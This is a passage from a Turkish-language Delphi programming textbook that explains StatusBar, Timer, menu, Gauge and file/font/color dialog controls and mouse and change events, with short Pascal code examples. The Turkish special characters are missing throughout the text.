procedure TForm1.FormCreate(Sender: TObject); begin StatusBar1.Panels[0].Free;//ilk paneli sil end; Dilerseniz ayn ilemleri properties penceresinden de yaptrabilirsiniz. Aadaki admlar srasyla izleyiniz. Formunuza bir adet StatusBar kontrol yerletirip mous ile zerine ift tklayn. Alan pencerede mousun sa tuuna tklayp, menden Add seeneini sein. kinci maddeyi arka arkaya kere tekrarlayp herbirinin Text zelliine gerekli aklamay girin.

Programnz altrrsanz ekran grntnz aadaki ekilde oluacaktr.

Grld gibi hi kod kullanmadan kolayca StatusBar a panel eklenebilir. Buradaki panel says size kalmtr. Aadaki uygulamada nc panelde saatin gerilmesi salanmaktadr. Uygulamada, paneller oluturulduktan sonra forma eklenen bir adet Timer kontrol kullanlmtr.

522

procedure TForm1.Timer1Timer(Sender: TObject); begin Timer1.Interval:=1000;//bir saniye Timer1.Enabled:=true; StatusBar1.Panels[2].Text:=DateTimeToStr(Now);//u anki tarih-zaman end; StatusBar1.Height Panellerin yksekliini belirleyen zelliidir.

procedure TForm1.FormCreate(Sender: TObject); begin StatusBar1.Height:=50; end;

523

Timer Kontrol: Bir kod blou belli bir peryot ierisinde tekrar tekrar iletilecekse Timer kontrolne (dngylede halledilebilir. Bu kontrol zaten kendi ierisinde dng altrmaktadr) ihtiyacnz var demektir. Aada kontrole ait zellikler verilmitir. Timer1.Interval OnTimer eventna yazlan kodun ikinci kez (veya drt) iletilmesi iin beklemesi gereken sre bu deerde tutulur. Girilen deer milisaniye cinsindendir. Yani buraya 1000 girilmesi bir saniye beklemesi gerektii anlamn tamaktadr. procedure TForm1.FormCreate(Sender: TObject); begin Timer1.Interval:=100;//bir sn bekle tekrar ilet end; Timer1.Enabled Kodun iletilip iletilmemesini belirleyen zelliidir. True deerinin aktarlmas kod blounun iletilmesi anlamna gelir. procedure TForm1.FormCreate(Sender: TObject); begin Timer1.Interval:=100;//bir sn bekle tekrar ilet Timer1.Enabled:=true; end; Timer1.Free Kontrol bellekten atan methoddur. procedure TForm1.FormCreate(Sender: TObject); begin Timer1.Free; end; Aada kontrol daha iyi tanyabilmeniz iin basitten zora doru rnekler yaplmtr. Dikkatlice inceleyiniz. 524

Uygulamalar iin formunuza bir adet Timer, bir adet Shape ve bir adette Button kontrol yerletiriniz. Formun tasarm grnts aada verilmitir.

Bu admda Timer kontrolnn OnTimer yordamna aadaki kodu ekleyiniz. procedure TForm1.FormCreate(Sender: TObject); begin Shape1.Shape:=stCircle;//daire ol Timer1.Interval:=100;//bir sn bekle tekrar ilet Timer1.Enabled:=false; end; procedure TForm1.BitBtn1Click(Sender: TObject); begin Timer1.Enabled:=true; end; procedure TForm1.Timer1Timer(Sender: TObject); var sayi:Integer; begin sayi:=Shape1.Left; Shape1.Left:=sayi+50;//50 birim saa end; Prpgram altrp Balat buttonuna tklarsanz topunuz saa doru hareket etmeye balayacaktr. Topun hareketi belli bir sre sonra formun boyutlarn aacak ve ekrandan kaybolmasn salayacaktr. Aadaki kodlamada topun ekrandan kaybolmas engellenmitir. Devaml olarak sola ve saa hareket edecektir.

525

var yon:Boolean; //Global deiken procedure TForm1.FormCreate(Sender: TObject); begin Timer1.Interval:=100;//bir sn bekle tekrar ilet Timer1.Enabled:=false; Shape1.Shape:=stCircle;//daire ol end; procedure TForm1.BitBtn1Click(Sender: TObject); begin Timer1.Enabled:=true; end; procedure TForm1.Timer1Timer(Sender: TObject); var sayi:Integer; begin sayi:=Shape1.Left; if yon=false Then begin if sayi>=Form1.ClientWidth Then yon:=true //sola dn else Shape1.Left:=sayi+10;//10 birim saa end else begin if sayi<=0 Then yon:=false //saa dn else Shape1.Left:=sayi-10; //10 birim sola end; end; Bu kodlar ekledikten sonra programnz altrrsanz topunuz formunuzun boyutlar erevesinde sola ve saa doru hareket edecektir. Aadaki rnekte ise iki top arptktan sonra yn deitirecektir. rneimiz iin formunuzun zerine iki adet Timer, iki adet Shape ve bir adet button kontrol yerletiriniz. lk Timer ile birinci topun hareketini, ikinci Timer ile de ikinci topun hareketini salayacaz. Aadaki tasarm oluturunuz. 526

Aadaki kod blounu Unit penceresine ekleyin. procedure TForm2.FormCreate(Sender: TObject); begin Timer1.Interval:=10;//bir sn bekle tekrar ilet Timer1.Enabled:=false; Timer2.Interval:=10;//bir sn bekle tekrar ilet Timer2.Enabled:=false; Shape1.Shape:=stCircle;//daire ol Shape2.Shape:=stCircle;//daire ol end; procedure TForm2.BitBtn1Click(Sender: TObject); begin Timer1.Enabled:=true; Timer2.Enabled:=true; end; var yon1,yon2:Boolean;//Global deikenler procedure TForm2.Timer1Timer(Sender: TObject); begin if yon1=false Then begin if Shape1.Left>=Shape2.Left-Shape1.Width Then//arpma an yon1:=true//sola dn else Shape1.Left:=Shape1.Left+10; end else begin if Shape1.Left<=0 Then

527

yon1:=false//saa dn else Shape1.Left:=Shape1.Left-10; end; end; procedure TForm2.Timer2Timer(Sender: TObject); begin if yon2=false Then begin if Shape2.Left<=Shape1.Left+Shape1.Width Then yon2:=true//saa dn else Shape2.Left:=Shape2.Left-10; end else begin if Shape2.Left>=Form2.ClientWidth-Shape2.Width Then yon2:=false//sola dn else Shape2.Left:=Shape2.Left+10; end; end; Programnz altrrsanz formun boyutlar ierisinde toplar devaml olarak birbirleriyle arpacaklardr.

528

MainMenu Kontrol: ok kolaya bir ekilde men oluturmak iin kullanlan kontroldr. Kullanm gerekten ok etkilidir. Neredeyse yapamyacanz hi bir men yok gibi. Aada adm adm nasl men oluturabileceiniz anlatlmaktadr. Formunuza ilk olarak MainMenu kontrol yerletirin ve zerine mous ile ift tklayn aadaki pencere alacaktr.

Alan bu pencerede propertiesi kullanarak Caption deerlerini girin. Yn tularn kullanarak alt satra inebilirsiniz. Caption deerlerini girdikten sonra ekran grntnz aadaki gibi olmaldr.

Caption deeri &Dosya eklinde girilerek ksa yol oluturulmutur (Alt tuu baslyken D tuuna tklarsanz men alr). imdi MainMenu zerine ift tklayarak ikinci stuna gein, yeni men stunlar oluturacaz. Yine yn tlar ve Caption deerleri kullanlarak aadaki stunu oluturun. Ayn mant kullanarak dilediiniz kadar men stunu oluturabilirsiniz. Ksa yol olutururken grnen seeneklerde ayn karakteri kullanmaynz. Ara bir karakterin banda kullanmanz mmkndr.

529

Alt Menler Yaratmak: Oluturduunuz menye alan alt menler eklemeniz mmkndr. Yapmanz gereken tek ey alt men ekleyeceiniz seenei sein (bizim rneimizde Font), mousun sa tuunu tklayarak alan menden Create Submenu seeneini sein.

Ayn ilemleri tekraralayp (Caption deerlerini girin) dier ismlendirmeleride yapn. Ekran grntnz aadaki ekilde oluacaktr.

ayet ekleyecek baka stunlarnzda varsa onlarda ayn mantk erevesinde uygulamanza ekleyin. 530

imdi programnz altrabilirsiniz. MainMenu kontrolne eklemi olduunuz tm seenekler formunuzun balnda gzkecektir.

Men Seeneklerine Kod Yazmak: Yukardaki rnek iin formunuza bir adet Edit kontrol yerletirip Alt izili seenei iin gerekli kodlar yazalm. Yapacanz ilem tasarm annda MainMenu kontrolnn zerine mous ile ift tklayarak Alt izili seeneini semek. Ardndan seili ksmda mous ile ift tklama yaparsanz kodlar yazabileceiniz yordamlara ulam olusunuz. procedure TForm1.Altizili1Click(Sender: TObject); begin Edit1.font.Style:=Edit1.Font.Style+[fsBold];//bold zellii ekle end; Men Seeneklerine CheckBox Eklemek: CheckBox ekleyeceiniz seenei sein (bizim rneimizde Kaln), properties penceresinden AutoCheck zelliini true yapn. Bu zellii ayarladktan sonra programnz altrrsanz ekran grntnz aadaki gibi olacaktr.

Seenee her tkladnzda Check iareti eklenip kalkacaktr. Bu zellii birden fazla seenek iin de kullanabilirsiniz. 531

Men Seeneklerine Resim Eklemek: Aadaki yntemle seeneklerinize kolayca resim ekleyebilirsiniz. Fakat ncelikle yapmanz gereken bir ka ilem bulunmaktadr. lk olarak formunuza bir adet ImageList kontrol yerletirip kullanacanz resimleri depolamalsnz. Ardndan MainMenu kontrolnz seip properties penceresinden Images zelliine ImageList1 deerini aktarn.

nc admda yapmanz gereken tek ey seeneklerinizi mous ile seip ImageIndex deerlerini sralamaya dikkat ederek girmek. Ekran grntnz yukardaki ekilde oluacaktr.

532

PopupMenu Kontrol: Mousun sa tuuna tklayarak atrlan menlerden Delphide oluturmak sonderece kolay, aadaki admlar izleyiniz. Formunuza bir adet PopupMenu kontrol yerletirip mous ile zerine ift tklayn. Aadaki pencere alacaktr.

Bu pencerede gerekli seenekleri oluturduktan sonra,formunuza bir adet Edit kontrol yerletirip kod yazacanz seenein zerine mous ile ift tklayn (Kes). Aadaki kod blounu bu yordama girin. procedure TForm1.Kes2Click(Sender: TObject); begin Edit1.Text:='';//boalt end; Son adm olarak Edit kontrolnz seip PopupMenu zelliine PopupMenu1 deerini aktarn.

533

Artk programnz altrabilirsiniz. Cursor Edit1 kontrol ierisinde iken mousun sa tuuna tklayn. Oluturmu olduunuz PopupMenu alacaktr. Kod blounu eklediiniz seenei (kes) tklayarak sonucu grebilirsiniz. PopupMenu lere resime eklemek dier men ile tamamen ayn olacaktr. Yani formunuza bir adet ImageList kontrol ekleyerek resimleri dolduracaksnz. PopupMenu kontrolnn Images zelliine Imagelist1 i aktarp, ardndan resimleriniz iin ImageIndex zelliklerini belirleyeceksiniz.

PopupMen lerin alabilmesi iin, o kontrole ait PopupMen zelliini muhakkak belirlemi olmalsnz.

534

MaskEdit Kontrol: Maskeli bilgi girii yapabilmeniz iin kullanabileceiniz bir kontroldr. Bu sayede kullancnn gereksiz karakterlere basma skntsn gidermi olursunuz. Bununla beraber yanl girileride byk lde engelleyeceksiniz. Aada bu kontrole ait zellikler verilmitir. MaskEdit1.EditMask Sanyorum en nemli zelliidir. Bu zellie atayacanz seenek dorultusunda bilgi girii yaplabilecektir. Properties penceresinden bu zellie tklarsanz aadaki pencere alacaktr.

Sample Masks ksmndan kullanacanz maskeyi seebilir, veya kendiniz yeni bir maske yaratabilirsiniz. Bu pencerede en ok kullanacanz maskeler yer almaktadr. Sa taraftan Date i sein InputMask ksmna yukardaki gibi 00 ekleyin (yl drt rakam grmek iin) ve OK e basn. imdi yaptmz ilemin sonucunu projeyi altrarak grelim.

Tarih girilerinde arada kullanlan . Karakterini girmeden kolayca ilem yapabilmektesiniz. 535

Gauge Kontrol: Bu kontrol sayesinde gerekleen ileminizi yzdelik olarak kullancya gsterebilirsiniz. Aada kontrole ait zellikler verilmitir. Gauge1.BackColor Kontroln zemin rengini belirleyen zelliidir. procedure TForm1.FormCreate(Sender: TObject); begin Gauge1.BackColor :=clYellow;//sar yap end; Gauge1.ForeColor Dolu yzdenin gsterilecei rengi belirleyen zelliidir. procedure TForm1.FormCreate(Sender: TObject); begin Gauge1.Progress:=25; Gauge1.BackColor :=clYellow; Gauge1.ForeColor:=clred;//krmz end; Gauge1.Progress Yzdelik dilimdeki deer bu zellikte tutulur. Tamsay tipli bir deer aktarlabilir. procedure TForm1.FormCreate(Sender: TObject); begin Gauge1.Progress:=25; end; Gauge1.MinValue- Gauge1.MaxValue Dolu gvdenin alabilecei maximum ve minimum deerleri belirleyen zelliklerdir. Progress deeri sadece bu aralktaki bir sayya eit olabilir. Aralk d bir deer aktaramazsnz.

536

procedure TForm1.FormCreate(Sender: TObject); begin Gauge1.MinValue:=0; Gauge1.MaxValue:=100; Gauge1.Progress:=25; Gauge1.BackColor :=clYellow;//sar yap Gauge1.ForeColor:=clred; end; Yukardaki kod blouna ait ekran grnts aadaki gibi olacaktr.

Gauge1.Kind Kontroln geometrik eklini belirleyen zelliidir. Alabilecei deerler aada verilmitir.
Kind gkHorizontalBar gkVerticalBar gkNeedle gkPie gkText Yatay Bar eklinde Dey Bar eklinde Yarm Elips eklinde Daire eklinde Sadece Yaz Sonu

procedure TForm1.FormCreate(Sender: TObject); begin Gauge1.MinValue:=0; Gauge1.MaxValue:=100; Gauge1.Progress:=25; Gauge1.BackColor :=clYellow;//sar yap Gauge1.ForeColor:=clred; Gauge1.Kind:=gkPie;//daire eklini al end; 537

Yukardaki kod blounun sonucunda aadaki ekilde bir ekran grnts elde edersiniz.

Aadaki uygulamada forma ekleyeceiniz bir Timer kontrol sayesinde tm Gauge kontrollerinin alma mantn izleyebilirsiniz.

procedure TForm1.FormCreate(Sender: TObject); begin Gauge1.MinValue:=0;Gauge1.MaxValue:=100; Gauge1.BackColor :=clYellow;//sar yap Gauge1.ForeColor:=clred; Gauge1.Kind:=gkPie; Gauge2.Kind:=gkHorizontalBar; Gauge3.Kind:=gkVerticalBar; Gauge4.Kind:=gkNeedle;end; procedure TForm1.Timer1Timer(Sender: TObject); begin Gauge1.Progress:=Gauge1.Progress+1; Gauge2.Progress:=Gauge1.Progress+1; Gauge3.Progress:=Gauge1.Progress+1; Gauge4.Progress:=Gauge1.Progress+1; end; 538

OpenDialog Kontrol: Bu kontrol kullanarak oluturmu olduunuz dosyalarnz bulmanz iin size yardmc pencere almasn salayabilirsiniz. Aslnda yaplan bir api arsdr, fakat siz bunu grmezsiniz. Aada kontrole ait zellikler izah edilmitir. OpenDialog1.Execute Yardmc pencerenin almasn salayan kod satrdr. procedure TForm1.Button1Click(Sender: TObject); begin OpenDialog1.Execute,//yardmc pencereyi a end; OpenDialog1.Title Alan pencerenin baln belirleyen zelliidir. Balk atama ilemini Execute methodundan nce yapmalsnz. Aksi takdirde hata olumayacak, fakat balkta yazmayacaktr. procedure TForm1.Button1Click(Sender: TObject); begin OpenDialog1.Title:='Dosya Seiniz';//stte yazn OpenDialog1.Execute; end;

539

OpenDialog1.DefaultExt Pencere aldktan sonra kullanc amak istedii dosyann adn yazp uzantsn yazmazsa burada belirtilen uzant varsaylan olarak kabul edilecektir. rnekle aklayacak olursak, ayn klasr ierisinde gazi.txt ile gazi.doc dosyalarnn var olduunu dnn. Pencere ald FileName ksmuna gazi yazp Open buttonuna tkladk hangi dosya alacaktr. te alacak olan dosyay budurumda DefaultExt zellii belirleyecektir (Dosyay mous ile seerseniz o zaman bu zellik ie yaramayacaktr). procedure TForm1.Button1Click(Sender: TObject); begin OpenDialog1.Title:='Dosya Seiniz'; OpenDialog1.DefaultExt:='txt';//varsaylan olarak txt kabul et OpenDialog1.Execute; end; OpenDialog1.Filter Pencere ald zaman tm dosyalar deilde sadece belli uzantl dosyalar listeletmek iin kullanlan zelliktir. Pencereye etkisini Files of type kutusuna tklayarak grebilirsiniz.

Yukardaki ekilde bir pencere almasn salayan kod aada verilmitir. Dikkatlice inceleyiniz. 540

procedure TForm1.Button1Click(Sender: TObject); begin OpenDialog1.Title:='Dosya Seiniz'; OpenDialog1.DefaultExt:='txt'; OpenDialog1.Filter:='Tm Dosyalar|*.*|Text Dosyalar|*.txt';//filtrele OpenDialog1.Execute; end; OpenDialog1.FilterIndex Filter zelliiyle belirlenen filtre seeneklerinin hangisinin aktif olacan belirleyen zelliidir. procedure TForm1.Button1Click(Sender: TObject); begin OpenDialog1.Title:='Dosya Seiniz'; OpenDialog1.DefaultExt:='txt'; OpenDialog1.Filter:='Tm Dosyalar|*.*|Text Dosyalar|*.txt'; OpenDialog1.FilterIndex:=2;//txt leri gster OpenDialog1.Execute; end; OpenDialog1.InitialDir Pencerenin ilk olarak almas istenen klasr bu zellikle belirlenir. Aadaki kodlamada buttona tklanld anda c:\gazi klasrn a denilmektedir. procedure TForm1.Button1Click(Sender: TObject); begin OpenDialog1.Title:='Dosya Seiniz'; OpenDialog1.DefaultExt:='txt'; OpenDialog1.Filter:='Tm Dosyalar|*.*|Text Dosyalar|*.txt'; OpenDialog1.FilterIndex:=2; OpenDialog1.InitialDir:='c:\gazi';//bu klasrde al OpenDialog1.Execute; end; OpenDialog1.Options Pencereye ait bir ok seenei bu zellikle belirleyebilirsiniz. Aadaki kodlama sayesinde alan pencereden birden fazla dosya ismi seilebilmektedir. 541

procedure TForm1.Button1Click(Sender: TObject); begin OpenDialog1.Title:='Dosya Seiniz'; OpenDialog1.DefaultExt:='txt'; OpenDialog1.Filter:='Tm Dosyalar|*.*|Text Dosyalar|*.txt'; OpenDialog1.FilterIndex:=2; OpenDialog1.InitialDir:='c:\gazi'; OpenDialog1.Options:=OpenDialog1.Options+[ofAllowMultiSelect]; OpenDialog1.Execute; end; OpenDialog1.Files ofAllowMultiSelect zellii verilen pencerelerde birden fazla dosya ismi seilebilmektedir. Seilen tm dosyalar dizi eklinde bu zellilkte tutulur. Aadaki rnekte seilen tm dosyalar forma eklenen bir ListBox kontrol ierisinde yazdrlmaktadr. procedure TForm1.Button1Click(Sender: TObject); begin OpenDialog1.Title:='Dosya Seiniz'; OpenDialog1.DefaultExt:='txt'; OpenDialog1.Filter:='Tm Dosyalar|*.*|Text Dosyalar|*.txt'; OpenDialog1.FilterIndex:=2; OpenDialog1.InitialDir:='c:\gazi'; OpenDialog1.Options:=OpenDialog1.Options+[ofAllowMultiSelect]; OpenDialog1.Execute; ListBox1.Items:=OpenDialog1.Files;//seilen dosyalar aktar end; OpenDialog1.FileName Pencereden seilen dosyann ismiyle beraber yolu bu zellikte tutulur. Aadaki rnekte seilen dosya nn yoluyla beraber ismi formun balnda yazdrlmaktadr. procedure TForm1.Button1Click(Sender: TObject); begin OpenDialog1.Title:='Dosya Seiniz'; OpenDialog1.Execute; Form1.Caption:=OpenDialog1.FileName;//dosyann adn yaz end; 542

SaveDialog Kontrol: Bu kontrolle programnzda oluturacanz verileri dilediiniz klasrn ierisine kaydedebilirsiniz. Uygulanan ilem yine ayndr, windows apisi altrlarak standart dosya kaydetme penceresini atrrsnz. Aada kontrole ait zellikler listelenmektedir. SaveDialog1.Execute Dosya kaydetme penceresinin almasn salayan methoddur. Oluabilecek olan hatalara kar if kullanrsanz daha salkl sonular alabilirsiniz (ayn ilemi OpenDialog iinde yapn). procedure TForm1.Button2Click(Sender: TObject); begin if SaveDialog1.Execute Then end; SaveDialog1.Title Pencerenin baln belirleyen zelliidir. Execute methodu altrlmadan nce belirlenmelidir. Aksi takdirde belirlemi olduunuz balk gzkmeyecektir.

543

SaveDialog1.DefaultExt Dosyanz kaydetme aamasnda uzant belirtmezseniz bu zellie aktardnz deer dosyanzn uzants olacaktr. procedure TForm1.Button2Click(Sender: TObject); begin SaveDialog1.Title:='Kaydetme Penceresi'; SaveDialog1.DefaultExt:='txt'; if SaveDialog1.Execute Then; end; SaveDialog1.FileName Kaydettiiniz dosyann yoluyla beraber ismi bu zellikte tutulur. procedure TForm1.Button2Click(Sender: TObject); begin SaveDialog1.Title:='Kaydetme Penceresi'; SaveDialog1.DefaultExt:='txt'; if SaveDialog1.Execute Then Form1.Caption:=SaveDialog1.FileName;//dosya yolunu yaz end; Aadaki tasarm oluturup gerekli kodlar ekleyiniz. Uygulamada Dosya A buttonuna tklanld zaman Harddisk teki herhangi bir dosyay Memo kontrol ierisine aktarabilirsiniz. Ayn mantkla Dosya Kaydet buttonuna tklarsanz Memo kontrol ierisindeki verileri, Harddisk te bir dosya oluturup kaydettirebileceksiniz..

544

procedure TForm2.Button1Click(Sender: TObject); //Dosya A var dosya:AnsiString; begin OpenDialog1.Title:='Dosya A Penceresi'; OpenDialog1.Filter:='TextDosyalar|*.txt|Tm Dosyalar|*.*'; OpenDialog1.FilterIndex:=1; OpenDialog1.InitialDir:='c:\gazi'; if OpenDialog1.Execute Then begin dosya:=OpenDialog1.FileName; Memo1.Lines.LoadFromFile(dosya);//aktar end; end; procedure TForm2.Button2Click(Sender: TObject); //Kaydet var dosya:AnsiString; begin SaveDialog1.Title:='Dosya Kaydet Penceresi'; SaveDialog1.DefaultExt:='txt'; SaveDialog1.InitialDir:='c:\gazi'; if SaveDialog1.Execute Then begin dosya:=SaveDialog1.FileName; Memo1.Lines.SaveToFile(dosya);//kaydet end; end;

545

FontDialog Kontrol: Bu kontrol kullanarak, dilediiniz kontrole ait font ayarlarn grsel olarak belirleyebilirsiniz. Aada kontrole ait zellikler verilmitir. FontDialog1.Execute Pencereyi atrmak iin kullanlan methoddur.

procedure TForm2.Button3Click(Sender: TObject); begin if FontDialog1.Execute Then//a end; FontDialog1.Font Pencereye ait tm font ayarlarnn (yaz tipi-bykl-rengi vs) tutulduu zelliidir. Aadaki ekilde bir kodlamayla formda yapm olduunuz tm ayarlar Memo kontrolne aktarabilirsiniz. procedure TForm2.Button3Click(Sender: TObject); begin if FontDialog1.Execute Then Memo1.Font:=FontDialog1.Font; end;

546

Bu kodu aadaki ekilde kullanrsanz daha salkl olacaktr. procedure TForm2.Button3Click(Sender: TObject); begin FontDialog1.Font:=Memo1.Font; if FontDialog1.Execute Then Memo1.Font:=FontDialog1.Font; end; Sebebi udur, ayet Memo kontrolne ait deitirmediiniz font ayarlar varsa, bu ekilde o ayarlarn aynen devam etmesini salayabilirsiniz.

547

ColorDialog Kontrol: Grsel olarak kontrollerinize ait renk ayarlarn yapabilmenizi salayan bir kontroldr. ColorDialog1.Execute ColorDialog penceresinin almasn salayan methoddur.

procedure TForm2.Button4Click(Sender: TObject); begin if ColorDialog1.Execute Then end; ColorDialog1.Color Aktarld kontroln rengini belirleyen zelliidir. procedure TForm2.Button4Click(Sender: TObject); begin if ColorDialog1.Execute Then begin Memo1.Color:=ColorDialog1.Color; end; end;

548

Memo Kontrol: Birden fazla satrl bilgi girii iin kullanlan bir kontroldr. Aslnda ListBox kontrolnn klavyeden bilgi girilebilen hali olarak da dnlebilir. Bu yzden zellik ve methodlarn anlamanz iin ListBox kontroln inceleyiniz.

549

550

BLM 14 DELPHI YORDAMLARI

551

552

Yordamlar: Unit penceresine eklemi olduunuz kodun iletilecei zaman, yazm olduunuz yordam belirler. Yordamlar tetikleyiciler sayesinde iletilecek olan kod satrlarndan oluurlar, bu yzden grsel dillerdeki yerleri ok byktr. Mousun tklanmas,enter tuuna baslmas, veya herhangi bir tuun basl tutularak mousun srklenmesi vs. Delphi tarafndan bir tetikleyici olarak alglanr ve o yordamdaki kod iletilir. Bu blmde sizlere en ok kullanacanz tetikleyicileri ve bu tetikleyiciler sonucunda iletilen yordamlar izah edeceim. Anlatlacak olan yordamlar bir ok kontrol tarafndan kullanlabilir (mesela OnChange neredeyse tm kontroller iin kullanlabilecektir). Bu yzden en popler olan zerinde rneklendirme yaplacaktr. OnClick Kontrol zerinde mousun sol tuunun tklanlmas durumunda ileyen bir yordamdr. Mousun sa tuuna tklayarak bu Event (yordam) iletemezsiniz. Aadaki pencerede bu yordama Object Inspector penceresinden nasl eriebileceiniz gsterilmitir.

Object Inspector penceresinde, cursorun bulunduu yere mous ile ift tklarsanz aadaki gibi iletilecek olan kodun yazlabilecei OnClick yordam oluturulacaktr. Bu yordam iin daha nceki blmlerde bir ok rnek yapldndan dolay tekrar rneklendirilmeyecektir. procedure TForm1.Button1Click(Sender: TObject); //OnClick Yordam begin //kodlar buraya yazlacak end;

553

OnDblClick Yordam Mous kontroln zerinde iken sol tuun ift tklanmas durumunda iletilen bir yordamdr. ift tklama hzn windows ayarlar belirlemektedir. ayet OnClick ve OnDblClick yordamlarnn (ayn kontrol iin) ikisinde de kod varsa, mosun ift tklanmas iki yordamda iletecektir. procedure TForm1.Edit1DblClick(Sender: TObject); //OnDblClick yordam begin //Edit1 kontrol zerinde iken sol tua ift tklanmas durumunda iler end; OnChange Yordam erisinde veri olan kontrollere has bir yordamdr. eriin deimesi (klavyeden bir tua baslmas, kodla veri aktarlmas, karakter silmek vs) bu yordamn iletilmesine sebep olacaktr. Aadaki rnekte Edit1 kontrolne girilen karakterlerin byk harfe evrilmi hali formun balnda yazdrlmaktadr.

Yukardaki ilemin gerekleebilmesi iin aadaki kod blounu Unit pencerenize eklemelisiniz. procedure TForm1.Edit1Change(Sender: TObject); //Byk harfe evir var metin:AnsiString; begin metin:=Edit1.Text; Form1.Caption:=AnsiUpperCase(metin);//Byk harfe evir end; Program altrdktan sonra Edit kontrolne gireceiniz bilgi byk harfe evrilerek formun balnda yazdrlacaktr. 554

Aadaki rnekte ise ierie ait kelimelerin ilk harfleri bytlmektedir. Dikkatlice inceleyiniz.

Bu rnek iin silme veya deiik bir ilem yaplrsa dzgn sonu alamayabilirsiniz. Daha deiik kontroller koymanz gerekecektir. imdilik sadece kk harfle giri yapn ve rnei deneyin sadece ilk karakterler byk yazdrlacaktr. procedure TForm1.Edit2Change(Sender: TObject); var metin,sonharf:AnsiString; begin metin:=Edit2.Text; sonharf:=Copy(metin,Length(metin),1); if Length(metin)<=1 then//ilk karakter ise Form1.Caption:=AnsiUpperCase(metin) else if Copy(metin,Length(metin)-1,1)=' ' Then //son harf boluk tuu ise begin sonharf:=AnsiUpperCase(sonharf);//byk harf yap Form1.Caption:=Form1.Caption+sonharf; end else Form1.Caption:=Form1.Caption+sonharf; end; imdi ayn rnei dinamik dizi kullanarak zelim ok daha gzel ve teknik olacan greceksiniz. Kontrollere girilen ierikteki kelimelerin sadece ilk karakterlerinin byk olmas iin aadaki ekilde bir kod blou kullanrsanz ok daha etkili bir sonu alrsnz.

555

procedure TForm1.Edit3Change(Sender: TObject); //kelimelerin ilk harflerini byt var metin:Array of AnsiString; yaz:AnsiString; uzunluk,i:Integer; begin yaz:=''; uzunluk:=Length(Edit3.Text); SetLength(metin,uzunluk);//diziyi boyutlandr for i:=0 to uzunluk-1 do begin if i=0 then metin[i]:=AnsiUpperCase(copy(Edit3.Text,i+1,1))//ilk karakter byk else if metin[i-1]=' ' Then //boluk karakteri ise metin[i]:=AnsiUpperCase(copy(Edit3.Text,i+1,1)) else metin[i]:=AnsiLowerCase(copy(Edit3.Text,i+1,1)) end; for i:=0 to uzunluk-1 do yaz:=yaz+metin[i]; Form1.Caption:=yaz; end; imdi programnz altrrsanz gerekli tm kontrollerin eklenmi olduunu greceksiniz( suyu batan tuttuk nk). Edit kutusunun ierisine, ierii nasl yazarsanz yazn sonu tm kelimelerin ilk karakterlerinin bytlmesiyle noktalanacaktr.

Ayn rnei imdi de katar kullanarak zelim. Aadaki kod blounu Unit pencerenize ekleyiniz.

556

procedure TForm1.Edit4Change(Sender: TObject); var metin:PChar;//katar tanmlanyor karakter:Char; yaz:AnsiString; uzunluk,i:Integer; begin yaz:=''; metin:=PChar(Edit4.Text); uzunluk:=Length(Edit4.Text); for i:=0 to uzunluk-1 do begin if i=0 Then yaz:=AnsiUpperCase(metin^)//byk harfe evir else if karakter=' ' Then yaz:=yaz+AnsiUpperCase(metin^) else yaz:=yaz+AnsiLowerCase(metin^); karakter:=metin^;//karakteri yaz inc(metin);//sonraki karaktere ge end; Form1.Caption:=yaz; end;

557

Mous Tular le Tetikleyebileceiniz Yordamlar: Baz durumlarda mousu hareket ettirince veya mous tularndan herhangi bir tanesine tkladnz zaman belirli bir kod blounu iletmek isteyebilirsiniz. Bu tr ilemler iin Delphi size zel yordamlar salamaktadr. Aada bu Events lar incelenmektedir. OnMousDown Yordam Mous kontroln zerinde iken tulardan (mousun tularndan) herhangi birtanesine tklanlmas durumunda otomatik olarak ileyen bir yordamdr. Baslan tu ve mousun koordinatlar yordamda tanmlanm olan deikenlerde tutulmaktadr. procedure TForm2.Edit1MouseDown(Sender: TMouseButton; Shift: TShiftState; X, Y: Integer); begin //kodlar buraya yazlacak end; TObject; Button:

Aadaki ekilde bir kod blouyla mousun hangi tuunun tkland kolaylkla renilebilir. Sizde programnza uygun kodlar bu sayede gelitirebilirsiniz. procedure TForm2.Edit1MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); begin if Button=mbLeft Then//sol tu tklanrsa ShowMessage('Sol Tua Tkladnz') else if Button=mbRight Then//sa tu tklanrsa ShowMessage('Sa Tua Tkladnz') else if Button=mbMiddle Then//orta tu tklanrsa ShowMessage('Orta Tua Tkladnz'); end; Dikkat ettiyseniz baslan tu Button parametresiyle renilebilmektedir. Alabilecei seenekler aada verilmitir.
Button mbLeft mbRight mbMiddle Sol Tu Tkland Sa Tu Tkland Orta Tu Tkland Sonu

558

Bu yordamn tu basl tutulduu srece ileyeceinide hatrlatalm. ayet dilerseniz bu yordama yazacanz kodla tklanlan yerin koordinatlarnda renebilirsiniz.

izim programlarnda tklanlan nokta koordinatlar bu ekilde tespit edilebilmektedir. procedure TForm2.FormMouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); var yatay,dikey:Integer; ilk,son:AnsiString; begin yatay:=x;//tklanlan noktann yatay eksen deeri dikey:=y;//tklanlan noktanon dikey eksen deeri ilk:=IntToStr(yatay); son:=IntToStr(dikey); Form2.Caption:='Tklanlan Nokta Koordinatlar='+ilk+'/'+son; end; rnee dikkat ettiyseniz kullanlan x ve y deikenleri tklanlan noktann koordinatlarn tutmaktadr. Yazacanz uygulamalarda bu size ok zel imkanlar salayacaktr. Prosedr ierisinde kullanlan dier bir parametrede Shift tir. Bu parametreyle Ctrl-Alt-Shift tularnn basl olup olmamasna gre gerekli kodlar iletebilirsiniz. Aada Shift parametresinin alabilecei tm seenekler verilmitir. Dikkatlice inceleyiniz. 559

Shift [ssAlt] [ssShift] [ssCtrl] [ssLeft] [ssRight] [ssMiddle] Alt Tuu basl Shift tuu Basl Ctrl tuu basl Sol yn tuu basl Sa Yn Tuu Basl Orta Tu Basl

Sonu

